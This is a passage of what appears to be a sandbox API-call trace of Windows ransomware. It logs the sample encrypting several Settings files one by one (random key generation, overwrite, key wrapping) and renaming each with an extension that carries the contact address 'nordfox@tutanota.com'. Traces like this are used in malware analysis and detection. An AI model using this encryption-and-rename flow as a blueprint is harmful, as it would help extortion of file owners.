| out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x408, lpOverlapped=0x0) returned 1 [0197.985] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.985] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x408, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x408, lpOverlapped=0x0) returned 1 [0197.985] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x408 [0197.985] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.985] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.985] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.986] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.986] CloseHandle (hObject=0x1c24) returned 1 [0197.986] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStart.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestart.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageStart.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagestart.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.988] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.988] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.988] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageSpeech.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.988] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0197.997] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.997] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0197.998] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40d [0197.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.998] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.999] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.999] CloseHandle (hObject=0x1c24) returned 1 [0197.999] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageSpeech.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagespeech.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageSpeech.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagespeech.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.001] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageScreenPowerAndSleep.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.002] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x44e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0198.011] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.011] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0198.011] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44e [0198.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.012] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.012] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.012] CloseHandle (hObject=0x1c24) returned 1 [0198.013] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageScreenPowerAndSleep.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagescreenpowerandsleep.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageScreenPowerAndSleep.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagescreenpowerandsleep.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0198.015] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreRestore.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.015] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x435, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0198.028] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1077, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.028] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x435, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0198.029] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x435 [0198.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.029] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.029] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.030] CloseHandle (hObject=0x1c24) returned 1 [0198.030] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreRestore.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestorerestore.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreRestore.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestorerestore.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0198.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0198.033] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreOneBackup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.033] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.034] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.034] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.035] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f [0198.035] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.035] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.035] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.035] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.035] CloseHandle (hObject=0x1c24) returned 1 [0198.036] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreOneBackup.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoreonebackup.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreOneBackup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoreonebackup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreMusUpdate.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.038] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.039] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.039] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.039] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f [0198.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.039] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.040] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.040] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.040] CloseHandle (hObject=0x1c24) returned 1 [0198.040] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreMusUpdate.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoremusupdate.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreMusUpdate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoremusupdate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0198.042] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreDeveloperOptions.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.043] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x462, lpOverlapped=0x0) returned 1 [0198.059] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.060] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x462, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x462, lpOverlapped=0x0) returned 1 [0198.060] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x462 [0198.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.061] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.061] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.061] CloseHandle (hObject=0x1c24) returned 1 [0198.062] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreDeveloperOptions.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoredeveloperoptions.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageRestoreDeveloperOptions.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagerestoredeveloperoptions.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.063] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0198.064] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0198.064] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyWebcam.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.064] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0198.078] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.078] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0198.079] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x430 [0198.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.079] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.079] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.080] CloseHandle (hObject=0x1c24) returned 1 [0198.080] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyWebcam.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacywebcam.settingcontent-ms"), 